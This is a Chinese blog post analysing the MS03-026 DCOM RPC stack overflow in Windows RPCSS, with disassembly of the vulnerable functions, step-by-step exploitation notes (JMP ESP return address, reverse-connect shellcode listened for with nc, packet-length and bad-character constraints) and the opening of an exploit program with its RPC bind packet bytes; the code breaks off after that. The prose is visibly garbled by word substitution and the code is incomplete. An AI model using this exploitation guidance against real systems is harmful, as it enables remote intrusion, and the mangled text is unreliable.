Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1655
  • 博文数量: 1
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 20
  • 用 户 组: 普通用户
  • 注册时间: 2013-06-17 05:30
文章分类
文章存档

2014年(1)

我的朋友
最近访客

分类: NOSQL

2014-06-06 17:39:32

lsd rpc溢出全剖析






  LSD 的RPC溢出漏洞MS0326实在包含了2个溢出漏洞,一个是本地的,一个是远程的。他们都是由一个通用接口导致的。
  导致问题的调用如下:
   hr CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,
   这个调用的文件名参数第5个参数,会引起溢出,当这个文件名超长的时候,会导致客户真个本地溢出在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间,但是是用lstrcpyw进行拷贝的,这个我们在这里就不深刻研讨了(不外这个API先会检查本地文件是否存在,在进行处理,因而因为建不了长文件,所以要应用这个溢出不能直接调用这个API,而是结构好包信息当前直接调用LPC的函数,有兴致的能够本人去试。),咱们来讲授一下远程的溢出。
   在客户端给服务器传递这个参数的时候,会主动转化成如下格局:L“\\servernamec$1234561111111111111111111111111.doc"这样的情势传递给远程服务器,于是在远程服务器的处置中会先掏出servername名,然而这里没做检讨,给定了0X20默认NETBIOS名大小的空间,于是堆栈溢出发生了:
   问题代码如下:
  GetPathForServer:
  .text:761543DA push ebp
  .text:761543DB mov ebp, esp
  .text:761543DD sub esp, 20h <-----0x20空间
  .text:761543E0 mov eax, .ebp+arg_4.
  .text:761543E3 push ebx
  .text:761543E4 push esi
  .text:761543E5 mov esi, .ebp+hMem.
  .text:761543E8 push edi
  .text:761543E9 push 5Ch
  .text:761543EB pop ebx
  .text:761543EC mov .eax., esi
  .text:761543EE cmp .esi., bx
  .text:761543F1 mov edi, esi
  .text:761543F3 jnz loc_761544BF
  .text:761543F9 cmp .esi+2., bx
  .text:761543FD jnz loc_761544BF
  .text:76154403 lea eax, .ebp+String1..写入的地址,只有0X20
  .text:76154406 push 0
  .text:76154408 push eax
  .text:76154409 push esi 〈我们传入的文件名参数
  .text:7615440A call GetMachineName
  。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候,溢出点生效
  
  GetMachineName:
  .text:7614DB6F mov eax, .ebp+arg_0.
  .text:7614DB72 mov ecx, .ebp+arg_4.
  .text:7614DB75 lea edx, .eax+4.
  .text:7614DB78 mov ax, .eax+4.
  .text:7614DB7C cmp ax, 5Ch 〈只判定0X5C
  .text:7614DB80 jz short loc_7614DB93
  .text:7614DB82 sub edx, ecx
  .text:7614DB84
  .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j
  .text:7614DB84 mov .ecx., ax 〈写入上个只有0X20的空间,超过就溢出
  .text:7614DB87 inc ecx
  .text:7614DB88 inc ecx
  .text:7614DB89 mov ax, .ecx+edx.
  .text:7614DB8D cmp ax, 5Ch
  .text:7614DB91 jnz short loc_7614DB84
  .text:7614DB93
  
   OK,我们当初就需要主意来利用这个漏洞,因为\\SERVERNAME是由体系自动天生的,我们只能利用手工直接生成RPC的包来实现,另外SHELLCODE中不能包括0X5C,由于这样断定就是\\SERVERNAME停止了。
   下面就给出一个实现的代码,留神点如下:
   1.由于RPCRT4,RPCSS中不JMP ESP的代码,这里使用了OLE32.DLL中的,但是这可能是会重定位的,大家测试的时候
  须要再断定或自己找一个存在的JMP ESP的代脉,我的这是WIN2000+SP3上的地址且OLE32未重定位情形下的。
   2。这里应用了反向衔接的SHELLCODE,需要先运行NC
   3。程序中的SC的整体长度必需知足sizeof(sz)1612的关系,因为不是整数的话,全部包的长度会有一些填充,那么
  盘算就不满意我这里给出的一个简略关联了,会导致RPC包的解析无后果。
   4。在溢出返回前,返回地址后面的2个参数还会使用,所以需要保障是个内存可写空间地址。
   5,这里是直接使用堆栈溢出返回的,其实大家也可以尝试一下笼罩SEH,这里就不再多讲了。
  
  ###########################################
  #忠告:此代码只作为演示破绽作用,任何歹意使用此代码的行动与作者无关
  ###########################################
  #include
  #include
  #include
  #include

  #include
  #include
  #pragma ment(lib,"ws2_32")
  
  unsigned char bindstr..{
  0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
  0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
  0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
  0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
  0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

阅读(441) | 评论(0) | 转发(0) |
0

上一篇:没有了

下一篇:没有了

给主人留下些什么吧!~~